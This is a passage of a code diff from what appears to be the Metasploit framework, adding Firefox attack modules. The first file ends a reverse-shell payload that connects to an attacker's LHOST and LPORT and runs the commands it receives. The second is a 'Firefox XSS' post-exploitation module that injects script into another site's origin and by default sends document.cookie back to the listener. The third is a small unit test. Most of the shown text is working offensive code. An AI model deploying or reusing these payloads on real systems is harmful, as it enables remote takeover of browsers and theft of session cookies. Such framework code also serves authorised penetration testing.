|
||||
'PayloadType' => 'firefox'
|
||||
))
|
||||
end
|
||||
|
||||
def generate
|
||||
<<-EOS
|
||||
|
||||
(function(){
|
||||
Components.utils.import("resource://gre/modules/NetUtil.jsm");
|
||||
var host = '#{datastore["LHOST"]}';
|
||||
var port = #{datastore["LPORT"]};
|
||||
|
||||
var socketTransport = Components.classes["@mozilla.org/network/socket-transport-service;1"]
|
||||
.getService(Components.interfaces.nsISocketTransportService);
|
||||
var socket = socketTransport.createTransport(null, 0, host, port, null);
|
||||
var outStream = socket.openOutputStream(0, 0, 0);
|
||||
var inStream = socket.openInputStream(0, 0, 0);
|
||||
|
||||
var pump = Components.classes["@mozilla.org/network/input-stream-pump;1"]
|
||||
.createInstance(Components.interfaces.nsIInputStreamPump);
|
||||
pump.init(inStream, -1, -1, 0, 0, true);
|
||||
|
||||
var listener = {
|
||||
onStartRequest: function(request, context) {},
|
||||
onStopRequest: function(request, context) {},
|
||||
onDataAvailable: function(request, context, stream, offset, count) {
|
||||
var data = NetUtil.readInputStreamToString(stream, count).trim();
|
||||
runCmd(data, function(err, output) {
|
||||
if (!err) outStream.write(output, output.length);
|
||||
});
|
||||
}
|
||||
};
|
||||
|
||||
#{run_cmd_source}
|
||||
|
||||
pump.asyncRead(listener, null);
|
||||
})();
|
||||
|
||||
EOS
|
||||
end
|
||||
end
|
|
@ -0,0 +1,85 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'json'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Payload::Firefox
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Firefox XSS',
|
||||
'Description' => %q{
|
||||
This module runs the provided SCRIPT as javascript in the
|
||||
origin of the provided URL. It works by navigating a hidden
|
||||
ChromeWindow to the URL, then injecting the SCRIPT with Function.
|
||||
The callback "send(result)" is used to send data back to the listener.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'joev' ],
|
||||
'Platform' => [ 'firefox' ]
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('SCRIPT', [true, "The javascript command to run", 'send(document.cookie)']),
|
||||
OptPath.new('SCRIPTFILE', [false, "The javascript file to run"]),
|
||||
OptString.new('URL', [
|
||||
true, "URL to inject into", 'http://metasploit.com'
|
||||
]),
|
||||
OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]")
|
||||
results = session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT'])
|
||||
|
||||
if results.present?
|
||||
print_good results
|
||||
else
|
||||
print_error "No response received"
|
||||
end
|
||||
end
|
||||
|
||||
def js_payload
|
||||
js = datastore['SCRIPT'].strip
|
||||
%Q|
|
||||
|
||||
(function(send){
|
||||
#{set_timeout_source}
|
||||
|
||||
var hiddenWindow = Components.classes["@mozilla.org/appshell/appShellService;1"]
|
||||
.getService(Components.interfaces.nsIAppShellService)
|
||||
.hiddenDOMWindow;
|
||||
|
||||
hiddenWindow.location = 'about:blank';
|
||||
var src = (#{JSON.unparse({ :src => js })}).src;
|
||||
var key = "#{Rex::Text.rand_text_alphanumeric(8+rand(12))}";
|
||||
|
||||
hiddenWindow[key] = true;
|
||||
hiddenWindow.location = "#{datastore['URL']}";
|
||||
|
||||
var evt = function() {
|
||||
if (hiddenWindow[key]) {
|
||||
setTimeout(evt, 200);
|
||||
} else {
|
||||
setTimeout(function(){
|
||||
try {
|
||||
send(hiddenWindow.Function('send', src)(send));
|
||||
} catch (e) {
|
||||
send("Error: "+e.message);
|
||||
}
|
||||
}, 500);
|
||||
}
|
||||
};
|
||||
|
||||
setTimeout(evt, 200);
|
||||
})(send);
|
||||
|
||||
|.strip
|
||||
end
|
||||
end
|
|
@ -0,0 +1,34 @@
|
|||
require 'spec_helper'
|
||||
require 'msf/core'
|
||||
|
||||
describe Msf::Exploit::Remote::FirefoxAddonGenerator do
|
||||
let(:datastore) { { 'TARGET' => 0 } }
|
||||
let(:jar) { double(:pack => '@JAR@', :build_manifest => nil) }
|
||||
let(:payload) { double(:encoded => '@EXE@', :encoded_jar => jar) }
|
||||
let(:framework) { double(:nops => nil) }
|
||||
let(:cli) { double }
|
||||
|
||||
subject(:mod) do
|
||||
mod = Msf::Exploit::Remote.allocate
|
||||
mod.extend described_class
|
||||
mod.extend Msf::Exploit::Remote::BrowserExploitServer
|
||||
mod.send(:initialize, {})
|
||||
mod.stub(
|
||||
:payload => payload,
|
||||
:regenerate_payload => payload,
|
||||
:framework => framework,
|
||||
:datastore => datastore
|
||||
)
|
||||
mod
|
||||
end
|
||||
|
||||
describe '#generate_addon_xpi' do
|
||||
let(:xpi) { mod.generate_addon_xpi(cli) }
|
||||
|
||||
it { should respond_to :generate_addon_xpi }
|
||||
|
||||
it 'should return an instance of Rex::Zip::Archive' do
|
||||
xpi.should be_kind_of Rex::Zip::Archive
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue